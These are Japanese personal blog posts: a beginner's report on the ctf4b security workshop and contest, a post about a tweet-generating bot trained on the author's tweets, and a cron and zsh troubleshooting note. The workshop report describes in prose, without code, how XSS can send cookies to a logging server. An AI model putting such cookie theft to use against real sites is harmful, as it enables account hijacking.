分かってないだろってツッコミが飛んできそうですが、実際拡張ユークリッドの互除法で逆元を取るところで心が折れて死にました。
講義には最後までしがみついていきましたが普通に数学の知識が浅すぎてしんどかったです。昼休みに頑張って復習しました。

この理解の浅さが数時間後のCTF演習で命取りとなることを、ぼくはまだ知らなかった―――。

ウェッブ(わかった)

昼休みを挟み次の講義はweb問です。
XSS(クロスサイトスクリプティング)についての講義でした。
XSSというのはwebページへの攻撃手段の一つで、フォームにhtmlタグのエスケープ処理を行っていない場合、任意のスクリプトを実行できてしまうという脆弱性を利用したものです。

演習ではまずテストページに好きなhtmlタグを入力し動作を確かめることをしました。
個人的には、<marquee>タグを入力したときのフォームが流れていく挙動がお気に入りです。死ぬほど鬱陶しいしユーザビリティ悪いことこの上ないと思います。
<a>タグを入力したときのフォームごとリンクになってテキスト入力ができなくなったのも面白かったです。

XSSの原理を理解したところで、実際にどのように攻撃に利用するかの手法を学びました。
cookieやページの情報などを引っ付けてHTTPリクエストを記録するサーバに投げるようにスクリプトを読ませるとサーバからそれらの本来第三者には知り得ない情報を見れてしまう、というようなのを実習を交えて体験しました。

最近はweb開発をやっていてブラウザのセッション情報が~とかなんとかを考えることが多かったですが、フレームワーク任せだとこのような箇所はフレームワークが勝手にやってくれてしまうので教わる機会がなければ深く知ることもなかったかもしれません。

「不正ログイン防止のためにパスワードを強固なものにしろ」などはよく聞く話ですが、IDとパスワードを用いたもの以外に不正ログインの手段があるというのは考えたことがなかったので良い勉強になりました。

Reversingに愛情が生えた話

実は今日の本命でした。

ハリネズミ本を開くと真っ先に立ち向かうことになるReversing、もといBinaryです。

アセンブリとかレジスタとか動的解析とかリンカとか低めなレイヤの専門用語でぶん殴ってくる分野です。RevとPwnはCTFの花形~とか言われたりするのをよく聞きますが、正直ぼくはRevにめちゃくちゃ苦手意識を持っていました。

そんなぼくがRevに興味を持つきっかけとなったのがこの動画シリーズです。



www.nicovideo.jp



割と分かりやすくRevとかPwnについてを解説している動画なのですが、これを見てやっとわかったようなわからないような、という感じ。
でもなんとなく分かったから自分で解いてみたい…みたいなところでどうすればいいかわかんなくて死んでました。

そこでRevだけでも聞きたい!とctf4bに応募したわけですが、結論から言うと、
アセンブリが読めるようになりました(拍手喝采)。

まあアセンブリ自体は学校の授業でも扱ったんですが、忘れてるしCTFに使えるほどの知識は習ってないしで一方的に苦手意識があったというわけです。

講義は猛スピードで進んでいきました(60分しかないのでそれはそう)。
ハンズオン形式で4ステップに分けてelfファイルを逆アセンブルして読み解く、という内容で、初めは基本的な代入操作、次に演算、次にスタック、次にループと関数…といった感じです。

いや本当にめちゃくちゃ分かりが生えました。講師のしふくろさん(@shift_crops)に圧倒的感謝です。すごい。
結局この後のCTF演習では真っ先にRev問を解くことになります。

CTF演習

長くなりましたがこれが最後で、今日教わった内容を使ってCTFの問題に挑戦しました。
実戦形式で前のスクリーンには順位表が映し出され、正答者が出る度に開場のアラームが鳴るなどという豪華仕様でした。テンション上がるね~

各分野には100点~300点の点数が振られた問題が3~4問用意されており、まずはwarm-upの100点問題をシュッシュッと解いていきます。ここまでは簡単!

そして200点問題に移ったぼく
「なんもわからん」

とにかく何か解かないとやばい、ランキングどんどん落ちちゃうやばい、とか焦りながらRev問を眺めます。
objdumpIntel記法のアセンブリに逆アセンブルする方法を調べて後はひたすらアセンブリの必要そうなところを読みます。

Rev問はなんかこんな感じでやってたら3問目まで解けました。4問目はXOR暗号だなってとこまでわかったのに何故かそこで止めちゃいました。クリア0人だったので勿体なかったです。通してたらヒーローでした。

Webはなんか良い感じに習ったもの使えるの探してたら通りました。3問目通せなかったんですがよく考えたらクソ簡単だったので勿体なかったです。

Cryptoが1番しんどかった…素因数分解の結果が出せたときはめっちゃ嬉しかったですね。RSA暗号ちゃんと理解してれば200点のSimpleRSA通せてたと思うと悔しい気持ちになります。

Miscですがこれはマジで100問計算するべきでした。簡単な計算100問すれば200点とか完全にボーナス問題だし最後諦めにかかってた15分でこれ通してれば順位がもう2つぐらい上がっていた可能性があり本当に悔しい。


そんなこんなで(雑)最終成績は以下の通りでした。

1000ptで7位、割と嬉しかったですね(クソ雑魚なのでどうにかスクリーンの順位表(10位ぐらいまで映されてた)に滑り込みたかった)。

ただまあ上で述べた通りWebの200点とMiscの200点は冷静にやれば確実に通せていたはずで、1位が1700pt、2位が1400ptだったので表彰式出れたじゃん…!という気持ちです。悔しい。

とは言えCTFガチ初心者なんもわからんのぼくにしてはよく頑張ったし自信もついたかなという結果になりました。

ctf4bがおわった

最後にアンケートを取ったり口頭Write-up大会みたいなものをして講義は終了。
Revの100点問題の解説で当てられたのでキョドりました。
あと運営スタッフさんがアンケートのQRコード<marquee>で動かしてたのが面白かった。

講義終了後には懇親会があり、たくさんのプロたちに囲まれてお話ができて本当に楽しかったです!モチベーションが爆上がりしました。ぼくもこんな風になりたい!と思いました。
名刺交換してくれたりお話してくれたりしたスタッフさん、参加者さん、本当にありがとうございました!

本当に18年の人生の中でもトップクラスに密度の濃い1日になったと思います。
参加者の中では自分がかなり年少者の部類で(これが意外だった)、いろいろな経験をしてこられた方々と一緒に勉強をして関わりを持てたのは自分にとっても本当に大きな糧になると思っています。

このような場を提供してくださった運営サイドのみなさん(これが本当に無料のイベントでいいのだろうか?)、親切にしてくださった参加者さん、施設をお貸しいただいた広島市立大学様、本当にありがとうございました。
自分にはまだ可能性がたくさんあることに気付けた1日でした。これからもがんばります!

ドッペルゲンガーを生み出してしまった話

自分のクローンを作った

mwc922-hsm.hatenablog.com

上の記事にも書いた通り、自分の発言を学習して新しく文章を生成するbotを作りました。

詳しいことは一連の実装記事を読んでもらったほうが早いと思うので割愛します。
そのbotが思った以上に面白いことツイートしてくれるので様子をブログに書きます。



記念すべき初ツイート

文章になってる…!



やっぱり機械生成なんですよね

閉じ括弧があったりなかったりするところが機械生成って感じで可愛らしいですね。



生活をするはすみくんbot

8時間で自動的に目を覚ましたりGitHubの草を生やしたり模範プログラマーの生活をしています。
ぼく本人よりも褒められた生活をしている可能性がある。



様子がおかしい

こいつ大丈夫か?



流暢だな



ドッペルゲンガー、誕生―――

なんか前からフォロワーに「botの方が日本語喋ってる」とか言われたし存在乗っ取られちゃう



哲学するhsm_ai

自分を考察するhsm_ai

自身の活動拠点を確保しようとするhsm_ai

自分の発言を思い返すhsm_ai



発生する「はすみくんbot構文」



おまえをみているぞ

なんでもお見通しですか



オリジナルを乗っ取ろうとするhsm_ai



結構おもろしろい

何言うか予測できないところが面白いですね。機械学習とかAI分野とかちょっとハマりそうです。

また少しずつバージョンアップさせていこうと思っています。
面白いツイートをしたらブログにも載せていきたいなあと思っています。

cronがうまく動かなくて躓いた

やりたいこと

以下のことをしたかったがなんかcronが動かなくて躓いたのでメモ。
- Rubyで書いたスクリプトを手元のcronで動かしたい - ArchLinux (cronie) - natto, twitter Gemを使用

起こったこと

cronが動かないのでとりあえずログを見てみます。

journalctl | grep CRON
Aug 24 13:02:01 Sirius CROND[17841]: (hsm-hx) CMD (ruby ~/programming/ruby/Twitter-managerbot/bot.rb)
Aug 24 13:02:01 Sirius CROND[17838]: (hsm-hx) CMDOUT (/usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in `require': cannot load such file -- natto (LoadError))
Aug 24 13:02:01 Sirius CROND[17838]: (hsm-hx) CMDOUT (        from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in `require')
Aug 24 13:02:01 Sirius CROND[17838]: (hsm-hx) CMDOUT (        from /home/hsm-hx/programming/ruby/Twitter-managerbot/bot.rb:1:in `<main>')
Aug 24 13:02:01 Sirius CROND[17838]: pam_unix(crond:session): session closed for user hsm-hx

cronは回ってるけどnattoが読み込めずにLoadErrorを吐かれています。

いろいろネットで調べたところ、cronの実行時と普段使っているシェルでの実行時とで使われている環境変数が違うため、Ruby Gemにパスが通っていないことが原因のようです。


crontab -eの中で環境変数を宣言したりすることもできるんですが、あれこれやってるとbashがないやらファイルが開けないやら怒られまくってよくわからなくなってしまった(環境変数PATH本当に難しい)。



解決した

解決策として、crontab -eに以下を記述しました。

*/20 * * * * /bin/zsh -lc 'ruby /path/to/script/bot.rb'

シェルを呼び出してそこからスクリプトを実行することで、シェルに設定している環境変数をそのまま使うことができました。



実はこれまで.zshenvと.zshrcの使い分けがわかっていなかったのですが、
.zshenvはzshそのものの起動時、.zshrcはインタラクティブシェルの起動時(で合ってる?)という違いがあることをこれを機に知りました。


今回の場合、起動されるのはインタラクティブシェルではないので、.zshenvに環境変数が書いてないとうまく実行されないはずです。

そもそも環境変数は.zshenvに、aliasとかzshプラグインのような操作に関わるものは.zshrcに書くらしいというのを初めて知りました。ひとつ賢くなりました(もし理解が違ってたら教えてください)。



まとめ

  • cronとシェルの環境変数は別
  • cronが動いてないときはjournalctl | grep CRONでログ確認
  • cron上でパスが通ってないときはシェルを通すといい感じになる
  • 環境変数は.zshenvに置いておきましょう